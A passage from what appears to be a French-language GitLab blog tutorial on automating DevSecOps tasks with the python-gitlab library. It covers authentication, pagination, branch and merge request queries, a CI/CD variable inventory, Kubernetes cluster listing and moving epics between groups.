les équipes de\ndéveloppement peuvent utiliser au sein d'une plateforme\n[DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"Qu'est-ce que\nDevSecOps ?\").\n\n\n## Configuration\n\n\nSans configuration, python-gitlab exécutera des requêtes non authentifiées\nsur le serveur par défaut : `https://gitlab.com`. Les paramètres de\nconfiguration les plus courants concernent l'instance GitLab à laquelle se\nconnecter, et la méthode d'authentification en spécifiant les jetons\nd'accès. Python-gitlab prend en charge différents types de configuration :\nun fichier de configuration ou des variables d'environnement.\n\n\nLe [fichier de\nconfiguration](https://python-gitlab.readthedocs.io/en/stable/cli-usage.html#cli-configuration\n\"Fichier de configuration CLI\") est disponible pour les liaisons de\nbibliothèque d’API et pour l'interface de ligne de commande (que nous\nn’aborderons pas dans cet article). Le fichier de configuration prend en\ncharge les [credential\nhelpers](https://python-gitlab.readthedocs.io/en/stable/cli-usage.html#credential-helpers\n\"Credential helpers\") pour accéder directement aux jetons.\n\n\nLes variables d'environnement, en tant que méthode de configuration\nalternative, vous offrent un moyen simple d'exécuter le script dans un\nterminal, de l'intégrer dans des images de conteneurs et de le préparer à\nêtre exécuté dans des [pipelines\nCI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Pipeline\nCI/CD\").\n\n\nVous devez lancer la configuration dans le contexte du script Python.\nImportez la bibliothèque `os` pour récupérer les variables d'environnement à\nl'aide de la méthode `os.environ.get()`. Le premier paramètre spécifie la\nclé, le second paramètre définit la valeur par défaut lorsque la variable\nn'est pas disponible dans l'environnement.\n\n\n```python\n\nimport os\n\n\ngl_server = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\n\nprint(gl_server)\n\n```\n\n\nLe paramétrage dans le terminal peut se faire directement pour la commande\nuniquement, ou être exporté dans l'environnement shell.\n\n\n```shell\n\n$ GL_SERVER=’https://gitlab.company.com’ python3 script.py\n\n\n$ export GL_SERVER=’https://gitlab.company.com’\n\n$ python3 script.py\n\n```\n\n\nNous recommandons d'ajouter des contrôles de sécurité pour s’assurer que\ntoutes les variables sont définies avant de continuer l'exécution du\nprogramme. L'extrait de code suivant importe les bibliothèques requises, lit\nla variable d'environnement `GL_SERVER`, et attend de l'utilisateur qu'il\ndéfinisse la variable `GL_TOKEN`. Si ce n'est pas le cas, le script affiche\net génère des erreurs, puis appelle `sys.exit(1)`, pour indiquer un statut\nd’erreur. \n\n\n```python\n\nimport gitlab\n\nimport os\n\nimport sys\n\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\nGITLAB_TOKEN = os.environ.get('GL_TOKEN')\n\n\nif not GITLAB_TOKEN:\n    print(\"Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n```\n\n\nExaminons maintenant un exemple plus détaillé, qui crée une connexion à\nl'API et effectue une requête de données.\n\n\n## Gestion des objets : l'objet GitLab\n\n\nToute interaction avec l'API nécessite une instanciation de l'objet GitLab.\nC'est le point d'entrée pour configurer le serveur GitLab auquel se\nconnecter et s'authentifier à l'aide de jetons d'accès, et définir d’autres\nparamètres globaux pour la pagination, le chargement d’objets, et plus\nencore. \n\n\nL'exemple suivant exécute une requête non authentifiée sur GitLab.com. Il\nest possible d'accéder aux points de terminaison d’API publique, et\nd'obtenir par exemple un [modèle .gitignore pour\nPython](https://python-gitlab.readthedocs.io/en/stable/gl_objects/templates.html#gitignore-templates\n\"Modèle .gitignore pour Python\").\n\n\n[python_gitlab_object_unauthenticated.py](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_object_unauthenticated.py)\n\n\n```python\n\nimport gitlab\n\n\ngl = gitlab.Gitlab()\n\n\n# Get .gitignore templates without authentication\n\ngitignore_templates = gl.gitignores.get('Python')\n\n\nprint(gitignore_templates.content)\n\n```\n\n\nDans les sections suivantes, nous vous partageons des informations\ndétaillées sur : \n\n\n- La gestion et le chargement des objets,\n\n- La pagination des résultats,\n\n- Le travail avec les relations entre objets,\n\n- Le travail avec différents scopes de collection d'objets.\n\n\n### La gestion et le chargement des objets\n\n\nLa bibliothèque python-gitlab donne accès aux ressources GitLab en utilisant\nce que l’on appelle des «\n[Gestionnaires](https://python-gitlab.readthedocs.io/en/stable/api-usage.html#managers)\n». Chaque type de gestionnaire implémente des méthodes pour travailler avec\nles ensembles de données (list, get, etc.).\n\n\nLe script ci-dessous montre comment accéder aux sous-groupes, aux projets\ndirects et à tous les projets, y compris les sous-groupes, aux tickets, aux\nepics et aux tâches. Une authentification est nécessaire pour accéder à tous\nles attributs. L'extrait de code utilise donc des variables pour obtenir le\njeton d'authentification, et utilise également la variable `GROUP_ID` pour\nspécifier un groupe principal à partir duquel il faut commencer la\nrecherche.\n\n\n```python\n\n#!/usr/bin/env python\n\n\nimport gitlab\n\nimport os\n\nimport sys\n\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\n# https://gitlab.com/gitlab-de/use-cases/\n\nGROUP_ID = os.environ.get('GL_GROUP_ID', 16058698)\n\nGITLAB_TOKEN = os.environ.get('GL_TOKEN')\n\n\nif not GITLAB_TOKEN:\n    print(\"Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n\n# Main\n\nmain_group = gl.groups.get(GROUP_ID)\n\n\nprint(\"Sub groups\")\n\nfor sg in main_group.subgroups.list():\n    print(\"Subgroup name: {sg}\".format(sg=sg.name))\n\nprint(\"Projects (direct)\")\n\nfor p in main_group.projects.list():\n    print(\"Project name: {p}\".format(p=p.name))\n\nprint(\"Projects (including subgroups)\")\n\nfor p in main_group.projects.list(include_subgroups=True, all=True):\n     print(\"Project name: {p}\".format(p=p.name))\n\nprint(\"Issues\")\n\nfor i in main_group.issues.list(state='opened'):\n    print(\"Issue title: {t}\".format(t=i.title))\n\nprint(\"Epics\")\n\nfor e in main_group.issues.list():\n    print(\"Epic title: {t}\".format(t=e.title))\n\nprint(\"Todos\")\n\nfor t in gl.todos.list(state='pending'):\n    print(\"Todo: {t} url: {u}\".format(t=t.body, u=t.target_url\n```\n\n\nVous pouvez exécuter le script `python_gitlab_object_manager_methods.py` en\nremplaçant la variable `GROUP_ID` sur GitLab.com SaaS pour analyser votre\npropre groupe. Vous devez spécifier la variable `GL_SERVER` pour les\ninstances auto-gérées. `GL_TOKEN` doit fournir le jeton d'accès personnel.\n\n\n```shell\n\nexport GL_TOKEN=xxx\n\n\nexport GL_SERVER=”https://gitlab.company.com”\n\n\nexport GL_SERVER=”https://gitlab.com”\n\n\nexport GL_GROUP_ID=1234\n\n\npython3 python_gitlab_object_manager_methods.py\n\n```\n\n\nÀ partir de maintenant, les exemples n'affichent plus les en-têtes Python et\nl'analyse des variables d'environnement, afin de se concentrer sur\nl'algorithme et les fonctionnalités. Tous les scripts sont open source sous\nlicence MIT, et sont disponibles dans [ce\nprojet](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python).\n\n\n### La pagination des résultats\n\n\nPar défaut, l’API GitLab ne renvoie pas tous les ensembles de résultats et\nexige que les clients utilisent la\n[pagination](https://docs.gitlab.com/ee/api/rest/index.html#pagination\n\"Pagination GitLab\") pour parcourir toutes les pages de résultats. La\nbibliothèque python-gitlab permet aux utilisateurs de [définir les\nparamètres](https://python-gitlab.readthedocs.io/en/stable/api-usage.html#pagination)\nglobalement dans l'objet GitLab, ou sur chaque appel `list()`. Cela permet\nd'éviter que tous les ensembles de résultats déclenchent des requêtes API,\nce qui peut ralentir l'exécution du script. Utilisez `iterator=True`, et les\nappels d'API sont déclenchés à la demande lors de l'accès à l'objet.\n\n\nL'exemple suivant recherche le nom de groupe `everyonecancontribute` et\nutilise la pagination du jeu de clés pour afficher 100 résultats sur chaque\npage. L'itérateur est défini sur true dans `gl.groups.list(iterator=True)`\npour récupérer de nouveaux ensembles de résultats à la demande. Si le nom du\ngroupe recherché est trouvé, la boucle s'interrompt et affiche un résumé,\nincluant la mesure de la durée totale de la requête de recherche.\n\n\n```python\n\nSEARCH_GROUP_NAME=\"everyonecancontribute\"\n\n\n# Use keyset pagination\n\n# https://python-gitlab.readthedocs.io/en/stable/api-usage.html#pagination\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN,\n    pagination=\"keyset\", order_by=\"id\", per_page=100)\n\n# Iterate over the list, and fire new API calls in case the result set does\nnot match yet\n\ngroups = gl.groups.list(iterator=True)\n\n\nfound_page = 0\n\nstart = timer()\n\n\nfor group in groups:\n    if SEARCH_GROUP_NAME == group.name:\n        # print(group) # debug\n        found_page = groups.current_page\n        break\n\nend = timer()\n\n\nduration = f'{end-start:.2f}'\n\n\nif found_page > 0:\n    print(\"Pagination API example for Python with GitLab{desc} - found group {g} on page {p}, duration {d}s\".format(\n        desc=\", the DevSecOps platform\", g=SEARCH_GROUP_NAME, p=found_page, d=duration))\nelse:\n    print(\"Could not find group name '{g}', duration {d}\".format(g=SEARCH_GROUP_NAME, d=duration))\n```\n\nL'exécution de `python_gitlab_pagination.py` a permis de trouver le groupe\n[everyonecancontribute](https://gitlab.com/everyonecancontribute) à la page\n5.\n\n\n```shell\n\n$ python3 python_gitlab_pagination.py\n\nPagination API example for Python with GitLab, the DevSecOps platform -\nfound group everyonecancontribute on page 5, duration 8.51s\n\n```\n\n\n### Le travail avec les relations entre objets\n\n\nLorsque vous travaillez avec des relations entre objets, par exemple pour\ncollecter tous les projets dans un groupe donné, vous devez envisager des\nétapes supplémentaires. Par défaut, les objets de projet renvoyés présentent\ndes attributs limités. Les objets gérables nécessitent un appel\nsupplémentaire `get()` pour obtenir l'objet de projet complet de l'API en\narrière-plan. Ce workflow permet de réduire les temps d’attente et le trafic\nen limitant les attributs immédiatement renvoyés.\n\n\nL'exemple suivant illustre le problème en parcourant tous les projets d'un\ngroupe et en essayant d'appeler la fonction `project.branches.list()`. Cela\ngénère une exception dans le flux try/except. Le deuxième exemple obtient un\nobjet de projet gérable et tente à nouveau d'appeler la fonction.\n\n\n```python\n\n# Main\n\ngroup = gl.groups.get(GROUP_ID)\n\n\n# Collect all projects in group and subgroups\n\nprojects = group.projects.list(include_subgroups=True, all=True)\n\n\nfor project in projects:\n    # Try running a method on a weak object\n    try:\n       print(\"🤔 Project: {pn} 💡 Branches: {b}\\n\".format(\n        pn=project.name,\n        b=\", \".join([x.name for x in project.branches.list()])))\n    except Exception as e:\n        print(\"Got exception: {e} \\n ===================================== \\n\".format(e=e))\n\n    # Retrieve a full manageable project object\n    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n    manageable_project = gl.projects.get(project.id)\n\n    # Print a method available on a manageable object\n    print(\"🤔 Project: {pn} 💡 Branches: {b}\\n\".format(\n        pn=manageable_project.name,\n        b=\", \".join([x.name for x in manageable_project.branches.list()])))\n```\n\n\nLe gestionnaire d'exceptions dans la bibliothèque python-gitlab affiche le\nmessage d'erreur et renvoie à la documentation. Pour le débogage, notez que\nles objets peuvent ne pas être disponibles pour la gestion lorsque vous ne\npouvez pas accéder aux attributs de l'objet ou aux appels de fonction.\n\n\n```shell\n\n$ python3 python_gitlab_manageable_objects.py\n\n\n🤔 Project: GitLab API Playground 💡 Branches: cicd-demo-automated-comments,\ndocs-mr-approval-settings, main\n\n\nGot exception: 'GroupProject' object has no attribute 'branches'\n\n\n\u003Cclass 'gitlab.v4.objects.projects.GroupProject'> was created via a\n\nlist() call and only a subset of the data may be present. To ensure\n\nall data is present get the object using a get(object.id) call. For\n\nmore details, see:\n\n\nhttps://python-gitlab.readthedocs.io/en/v3.8.1/faq.html#attribute-error-list\n =====================================\n```\n\n\n[Consultez le script\ncomplet](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/python_gitlab_manageable_objects.py).\n\n\n### Le travail avec différents scopes de collection d'objets\n\n\nParfois, le script doit collecter tous les projets d'une instance\nauto-gérée, d'un groupe avec des sous-groupes, ou d'un projet unique. Ce\ndernier cas est utile pour accélérer les tests sur les attributs requis, et\nla récupération du groupe facilite les tests à grande échelle par la suite.\nL'extrait de code suivant collecte tous les objets de projet dans la liste\n`projects` et y ajoute les objets provenant des différentes configurations\nentrantes. Vous retrouverez également à nouveau le modèle d'objet gérable\npour le projet dans les groupes.\n\n\n```python\n    # Collect all projects, or prefer projects from a group id, or a project id\n    projects = []\n\n    # Direct project ID\n    if PROJECT_ID:\n        projects.append(gl.projects.get(PROJECT_ID))\n\n    # Groups and projects inside\n    elif GROUP_ID:\n        group = gl.groups.get(GROUP_ID)\n\n        for project in group.projects.list(include_subgroups=True, all=True):\n            # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n            manageable_project = gl.projects.get(project.id)\n            projects.append(manageable_project)\n\n    # All projects on the instance (may take a while to process)\n    else:\n        projects = gl.projects.list(get_all=True)\n```\n\n\nL'exemple complet se trouve dans [ce\nscript](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_mr_approval_rules.py)\npour lister les paramètres des règles d'approbation des merge requests pour\nles cibles de projet spécifiées.\n\n\n## Utilisation de l’approche DevSecOps pour les actions de lecture API\n\n\nLe jeton d'accès authentifié nécessite un scope `read_api`.\n\n\nLes cas d’utilisation suivants seront abordés :\n\n- Lister les branches par état de fusion,\n\n- Afficher les paramètres du projet pour révision : règles d'approbation des\nmerge requests,\n\n- Inventaire : obtenir toutes les variables CI/CD protégées ou masquées,\n\n- Télécharger un fichier depuis le dépôt,\n\n- Aide à la migration : lister tous les clusters Kubernetes basés sur des\ncertificats,\n\n- Productivité des équipes : vérifier si les merge requests existantes\nnécessitent un rebase après avoir fusionné une merge request de\nrefactorisation majeure.  \n\n\n### Lister les branches par état de fusion \n\n\nPour nettoyer un projet\n[Git](https://about.gitlab.com/fr-fr/blog/what-is-git/ \"Qu'est-ce\nque Git ?\"), il est courant d'évaluer le nombre de branches fusionnées et\nnon fusionnées. En réponse à une [question sur le forum de la communauté\nGitLab](https://forum.gitlab.com/t/python-gitlab-project-branch-list-filter/80257)\nconcernant le filtrage des listes de branches, j'ai écrit un\n[script](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/tree/main)\naidant à cela. La méthode `branches.list()` renvoie tous les objets de\nbranche stockés dans une liste temporaire, pour un traitement ultérieur en\ndeux boucles : la collecte des noms de branches fusionnées, et celle des\nnoms de branches non fusionnées. L'attribut `merged` sur l'objet `branch`\nest une valeur booléenne qui indique si la branche a été fusionnée ou non.\n\n\n```python\n\nproject = gl.projects.get(PROJECT_ID, lazy=False, pagination=\"keyset\",\norder_by=\"updated_at\", per_page=100)\n\n\n# Get all branches\n\nreal_branches = []\n\nfor branch in project.branches.list():\n    real_branches.append(branch)\n\nprint(\"All branches\")\n\nfor rb in real_branches:\n    print(\"Branch: {b}\".format(b=rb.name))\n\n# Get all merged branches\n\nmerged_branches_names = []\n\nfor branch in real_branches:\n    if branch.default:\n        continue # ignore the default branch for merge status\n\n    if branch.merged:\n        merged_branches_names.append(branch.name)\n\nprint(\"Branches merged: {b}\".format(b=\", \".join(merged_branches_names)))\n\n\n# Get un-merged branches\n\nnot_merged_branches_names = []\n\nfor branch in real_branches:\n    if branch.default:\n        continue # ignore the default branch for merge status\n\n    if not branch.merged:\n        not_merged_branches_names.append(branch.name)\n\nprint(\"Branches not merged: {b}\".format(b=\",\n\".join(not_merged_branches_names)))\n\n```\n\n\nLe workflow est destiné à être lu étape par étape. Vous pouvez vous\nentraîner à optimiser le code Python pour la collecte conditionnelle des\nnoms de branches.\n\n\n### Afficher les paramètres du projet pour examen : règles d'approbation des\nmerge requests\n\n\nLe\n[script](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_mr_approval_rules.py)\nsuivant parcourt tous les objets de projet collectés et vérifie si des\nrègles d'approbation sont spécifiées. Si la longueur de la liste est\nsupérieure à zéro, il parcourt la liste en boucle et affiche les paramètres\navec la méthode JSON pretty print.\n\n\n```python\n    # Loop over projects and print the settings\n    # https://python-gitlab.readthedocs.io/en/stable/gl_objects/merge_request_approvals.html\n    for project in projects:\n        if len(project.approvalrules.list()) > 0:\n            #print(project) #debug\n            print(\"# Project: {name}, ID: {id}\\n\\n\".format(name=project.name_with_namespace, id=project.id))\n            print(\"[MR Approval settings]({url}/-/settings/merge_requests)\\n\\n\".format(url=project.web_url))\n\n            for ar in project.approvalrules.list():\n                print(\"## Approval rule: {name}, ID: {id}\".format(name=ar.name, id=ar.id))\n                print(\"\\n```json\\n\")\n                print(json.dumps(ar.attributes, indent=2)) # TODO: can be more beautiful, but serves its purpose with pretty print JSON\n                print(\"\\n```\\n\")\n\n```\n\n\n### Inventaire : obtenir toutes les variables CI/CD protégées ou masquées\n\n\nLes [variables CI/CD](https://docs.gitlab.com/ee/ci/variables/ \"Variables\nCI/CD\") sont utiles au paramétrage des pipelines et peuvent être configurées\nglobalement sur l'instance, dans les groupes et dans les projets. Nous\npouvons aussi y stocker des informations confidentielles, des mots de passe\nou encore des secrets. Il peut parfois être nécessaire d’avoir une vue\nd'ensemble de toutes les variables CI/CD protégées ou masquées pour estimer\nle nombre de variables à actualiser, lors de la rotation des jetons par\nexemple.\n\n\nLe\n[script](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_all_cicd_variables_masked_or_protected.py)\nsuivant récupère tous les groupes et projets, puis tente de collecter les\nvariables CI/CD de l'instance globale (cela nécessite des autorisations\nd'administrateur), des groupes et des projets (cela nécessite des\nautorisations de chargé de maintenance/propriétaire). Il affiche toutes les\nvariables CI/CD qui sont soit protégées, soit masquées, en précisant qu'une\nvaleur potentiellement secrète y est stockée.\n\n\n```python\n\n#!/usr/bin/env python\n\n\nimport gitlab\n\nimport os\n\nimport sys\n\n\n# Helper function to evaluate secrets and print the variables\n\ndef eval_print_var(var):\n    if var.protected or var.masked:\n        print(\"🛡️🛡️🛡️ Potential secret: Variable '{name}', protected {p}, masked: {m}\".format(name=var.key,p=var.protected,m=var.masked))\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\nGITLAB_TOKEN = os.environ.get('GL_TOKEN') # token requires maintainer+\npermissions. Instance variables require admin access.\n\nPROJECT_ID = os.environ.get('GL_PROJECT_ID') #optional\n\nGROUP_ID = os.environ.get('GL_GROUP_ID', 8034603) #\nhttps://gitlab.com/everyonecancontribute\n\n\nif not GITLAB_TOKEN:\n    print(\"🤔 Please set the GL_TOKEN env variable.\")\n    sys.exit(1)\n\ngl = gitlab.Gitlab(GITLAB_SERVER, private_token=GITLAB_TOKEN)\n\n\n# Collect all projects, or prefer projects from a group id, or a project id\n\nprojects = []\n\n# Collect all groups, or prefer group from a group id\n\ngroups = []\n\n\n# Direct project ID\n\nif PROJECT_ID:\n    projects.append(gl.projects.get(PROJECT_ID))\n\n# Groups and projects inside\n\nelif GROUP_ID:\n    group = gl.groups.get(GROUP_ID)\n\n    for project in group.projects.list(include_subgroups=True, all=True):\n        # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n        manageable_project = gl.projects.get(project.id)\n        projects.append(manageable_project)\n\n    groups.append(group)\n\n# All projects/groups on the instance (may take a while to process, use\niterators to fetch on-demand).\n\nelse:\n    projects = gl.projects.list(iterator=True)\n    groups = gl.groups.list(iterator=True)\n\nprint(\"# List of all CI/CD variables marked as secret (instance, groups,\nprojects)\")\n\n\n# https://python-gitlab.readthedocs.io/en/stable/gl_objects/variables.html\n\n\n# Instance variables (if the token has permissions)\n\nprint(\"Instance variables, if accessible\")\n\ntry:\n    for i_var in gl.variables.list(iterator=True):\n        eval_print_var(i_var)\nexcept:\n    print(\"No permission to fetch global instance variables, continueing without.\")\n    print(\"\\n\")\n\n# group variables (maintainer permissions for groups required)\n\nfor group in groups:\n    print(\"Group {n}, URL: {u}\".format(n=group.full_path, u=group.web_url))\n    for g_var in group.variables.list(iterator=True):\n        eval_print_var(g_var)\n\n    print(\"\\n\")\n\n# Loop over projects and print the settings\n\nfor project in projects:\n    # skip archived projects, they throw 403 errors\n    if project.archived:\n        continue\n\n    print(\"Project {n}, URL: {u}\".format(n=project.path_with_namespace, u=project.web_url))\n    for p_var in project.variables.list(iterator=True):\n        eval_print_var(p_var)\n\n    print(\"\\n\")\n```\n\n\nLe script n’affiche pas les valeurs des variables, cela étant réservé comme\nexercice pour les environnements sécurisés. Pour stocker des secrets, faites\nplutôt appel à des [fournisseurs\nexternes](https://docs.gitlab.com/ee/ci/secrets/).\n\n\n### Télécharger un fichier depuis le dépôt\n\n\nL'objectif de ce\n[script](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/get_raw_file_content.py)\nest de télécharger un fichier à partir d’un chemin spécifié dans une branche\ndonnée, et de stocker son contenu dans un nouveau fichier.\n\n\n```python\n\n# Goal: Try to download README.md from\nhttps://gitlab.com/gitlab-de/use-cases/gitlab-api/gitlab-api-python/-/blob/main/README.md\n\nFILE_NAME = 'README.md'\n\nBRANCH_NAME = 'main'\n\n\n# Search the file in the repository tree and get the raw blob\n\nfor f in project.repository_tree():\n    print(\"File path '{name}' with id '{id}'\".format(name=f['name'], id=f['id']))\n\n    if f['name'] == FILE_NAME:\n        f_content = project.repository_raw_blob(f['id'])\n        print(f_content)\n\n# Alternative approach: Get the raw file from the main branch\n\nraw_content = project.files.raw(file_path=FILE_NAME, ref=BRANCH_NAME)\n\nprint(raw_content)\n\n\n# Store the file on disk\n\nwith open('raw_README.md', 'wb') as f:\n    project.files.raw(file_path=FILE_NAME, ref=BRANCH_NAME, streamed=True, action=f.write)\n```\n\n\n### Aide à la migration : lister tous les clusters Kubernetes basés sur des\ncertificats\n\n\nL'intégration des clusters\n[Kubernetes](https://about.gitlab.com/fr-fr/blog/kubernetes-the-container-orchestration-solution/\n\"Qu'est-ce que Kubernetes ?\") basée sur des certificats dans GitLab [a été\ndépréciée](https://docs.gitlab.com/ee/update/deprecations.html#self-managed-certificate-based-integration-with-kubernetes).\nPour faciliter les plans de migration, l'inventaire des groupes et projets\nexistants peut être automatisé à l'aide de l'API GitLab.\n\n\n```python\n\ngroups = [ ]\n\n\n# get GROUP_ID group\n\ngroups.append(gl.groups.get(GROUP_ID))\n\n\nfor group in groups:\n    for sg in group.subgroups.list(include_subgroups=True, all=True):\n        real_group = gl.groups.get(sg.id)\n        groups.append(real_group)\n\ngroup_clusters = {}\n\nproject_clusters = {}\n\n\nfor group in groups:\n    #Collect group clusters\n    g_clusters = group.clusters.list()\n\n    if len(g_clusters) > 0:\n        group_clusters[group.id] = g_clusters\n\n    # Collect all projects in group and subgroups and their clusters\n    projects = group.projects.list(include_subgroups=True, all=True)\n\n    for project in projects:\n        # https://python-gitlab.readthedocs.io/en/stable/gl_objects/groups.html#examples\n        manageable_project = gl.projects.get(project.id)\n\n        # skip archived projects\n        if project.archived:\n            continue\n\n        p_clusters = manageable_project.clusters.list()\n\n        if len(p_clusters) > 0:\n            project_clusters[project.id] = p_clusters\n\n# Print summary\n\nprint(\"## Group clusters\\n\\n\")\n\nfor g_id, g_clusters in group_clusters.items():\n    url = gl.groups.get(g_id).web_url\n    print(\"Group ID {g_id}: {u}\\n\\n\".format(g_id=g_id, u=url))\n    print_clusters(g_clusters)\n\nprint(\"## Project clusters\\n\\n\")\n\nfor p_id, p_clusters in project_clusters.items():\n    url = gl.projects.get(p_id).web_url\n    print(\"Project ID {p_id}: {u}\\n\\n\".format(p_id=p_id, u=url))\n    print_clusters(p_clusters)\n```\n\n\n[Consultez le script\ncomplet](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/list_cert_based_kubernetes_clusters.py).\n\n\n### Productivité des équipes : vérifier si les merge requests existantes\nnécessitent un rebase après avoir fusionné une merge request de\nrefactorisation majeure\n\n\nLe dépôt du [manuel GitLab](https://about.gitlab.com/handbook/ \"Manuel de\nGitLab\") est un large monorepo qui contient de nombreuses merge requests\ncréées, examinées, approuvées et fusionnées. Certaines revues prennent plus\nde temps que d'autres, et certaines merge requests impactent plusieurs\npages, lorsqu'il s'agit par exemple de renommer une chaîne de caractères ou\n[toutes les pages du\nmanuel](https://about.gitlab.com/handbook/about/#count-handbook-pages). Le\nmanuel Marketing avait besoin d’une restructuration (pensez à une\nrefactorisation du code), et de nombreux répertoires et chemins d'accès ont\nété déplacés ou renommés. \n\n\nLes [tâches liées aux\ntickets](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/13991#tasks)\nont augmenté au fil du temps, et nous craignons que des conflits sur\nd'autres merge requests apparaissent après avoir fusionné des changements\nimportants. Avec python-gitlab vous pouvez récupérer toutes les merge\nrequests dans un projet donné, y compris les détails sur la branche Git, sur\nles chemins sources modifiés, et bien plus encore.\n\n\nLe script résultant configure une liste des sources touchées par toutes les\nmerge requests, vérifie si la merge request diffère avec `mr.diffs.list()`,\net si un modèle correspond à la valeur dans `old_path`. Si une\ncorrespondance est trouvée, le script l'enregistre et sauvegarde la merge\nrequest dans le dictionnaire `seen_mr`, pour un résumé ultérieur. Des\nattributs supplémentaires sont collectés pour afficher une liste de tâches\nen Markdown contenant des URL, afin de faciliter le copier-coller dans les\n[descriptions des\ntickets](https://gitlab.com/gitlab-com/www-gitlab-com/-/issues/13991#additional-tasks).\n[Consultez le script\ncomplet](https://gitlab.com/gitlab-da/use-cases/gitlab-api/gitlab-api-python/-/blob/main/search_mr_contains_updated_path.py).\n\n\n```python\n\nPATH_PATTERNS = [\n    'path/to/handbook/source/page.md',\n]\n\n\n# Only list opened MRs\n\n#\nhttps://python-gitlab.readthedocs.io/en/stable/gl_objects/merge_requests.html#project-merge-requests\n\nmrs = project.mergerequests.list(state='opened', iterator=True)\n\n\nseen_mr = {}\n\n\nfor mr in mrs:\n    # https://docs.gitlab.com/ee/api/merge_requests.html#list-merge-request-diffs\n    real_mr = project.mergerequests.get(mr.get_id())\n    real_mr_id = real_mr.attributes['iid']\n    real_mr_url = real_mr.attributes['web_url']\n\n    for diff in real_mr.diffs.list(iterator=True):\n        real_diff = real_mr.diffs.get(diff.id)\n\n        for d in real_diff.attributes['diffs']:\n            for p in PATH_PATTERNS:\n                if p in d['old_path']:\n                    print(\"MATCH: {p} in MR {mr_id}, status '{s}', title '{t}' - URL: {mr_url}\".format(\n                        p=p,\n                        mr_id=real_mr_id,\n                        s=mr_status,\n                        t=real_mr.attributes['title'],\n                        mr_url=real_mr_url))\n\n                    if not real_mr_id in seen_mr:\n                        seen_mr[real_mr_id] = real_mr\n\nprint(\"\\n# MRs to update\\n\")\n\n\nfor id, real_mr in seen_mr.items():\n    print(\"- [ ] !{mr_id} - {mr_url}+ Status: {s}, Title: {t}\".format(\n        mr_id=id,\n        mr_url=real_mr.attributes['web_url'],\n        s=real_mr.attributes['detailed_merge_status'],\n        t=real_mr.attributes['title']))\n```\n\n\n## Cas d’utilisation DevSecOps pour les actions d'écriture de l’API\n\n\nLe jeton d'accès authentifié nécessite une [portée d’autorisation complète\nde\nl’API](https://docs.gitlab.com/ee/user/profile/personal_access_tokens.html#personal-access-token-scopes). \n\n\nLes cas d’utilisation suivants sont abordés :\n\n- Déplacer des epics d’un groupe à l’autre,\n\n- Conformité : vérifier que les paramètres du projet ne sont pas remplacés,\n\n- Prendre des notes, générer un aperçu de la date d'échéance,\n\n\n### Déplacer des epics d’un groupe à l’autre\n\n\nVous devez parfois déplacer des epics dans un autre groupe. Une question\nposée dans le Slack de GitLab nous a incité à examiner une [proposition de\nfonctionnalité pour l'interface\nutilisateur](https://gitlab.com/gitlab-org/gitlab/-/issues/12689), pour plus\ntard écrire un script API permettant d'automatiser ces étapes. L'idée\nconsiste à déplacer une epic d'un groupe source vers un groupe cible, et de\ncopier son titre, sa description et ses labels. Puisque les epics permettent\nde regrouper les tickets, elles doivent également être réaffectées à l'epic\ncible. Il faut aussi prendre en compte les relations parent-enfant des\nepics, toutes les epics enfants des epics sources devant être réaffectées à\nl'epic cible.\n\n\nLe script suivant recherche d'abord tous les attributs de l'epic source,\npuis crée une nouvelle epic cible avec des attributs minimaux : titre et\ndescription. La liste des labels est copiée et les modifications sont\nconservées grâce à l'appel `save()`. Les tickets attribués à l'epic doivent\nêtre recréés dans l'epic cible. L'appel `create()` crée l'élément de\nrelation, et non un nouvel objet de ticket en tant que tel. Le déplacement\ndes epics enfants nécessite une approche différente, car la relation est\ninversée : le `parent_id` de l'epic enfant doit être comparé à l'identifiant\nde l'epic source et, s'il correspond, mis à jour vers l'identifiant de\nl'epic cible. Après avoir tout copié avec succès, l'epic source doit être\npassée à l'état `closed`.\n\n\n```python\n\n#!/usr/bin/env python\n\n\n# Description: Show how epics can be moved between groups, including title,\ndescription, labels, child epics and issues.\n\n# Requirements: python-gitlab Python libraries. GitLab API write access, and\nmaintainer access to all configured groups/projects.\n\n# Author: Michael Friedrich \u003Cmfriedrich@gitlab.com>\n\n# License: MIT, (c) 2023-present GitLab B.V.\n\n\nimport gitlab\n\nimport os\n\nimport sys\n\n\nGITLAB_SERVER = os.environ.get('GL_SERVER', 'https://gitlab.com')\n\n# https://gitlab.com/gitlab-da/use-cases/gitlab-api\n\nSOURCE_GROUP_ID = os.environ.get('GL_SOURCE_GROUP_ID', 62378643)\n\n# https://gitlab.com/gitlab-da/use-cases/gitlab-api/epic-move-target\n\nTARGET_GROUP_ID = os.environ.get('GL_TARGET_GROUP_ID', 62742177)\n\n# https://gitlab.com/groups/gitlab-da/use-cases/gitlab-api/-/epics/1\n\nEPIC_ID = os.environ.get('GL_EPIC_ID', 1)\n\nGITLAB_TOKEN = os.environ.get('GL_TOKEN')\n\n\nif not 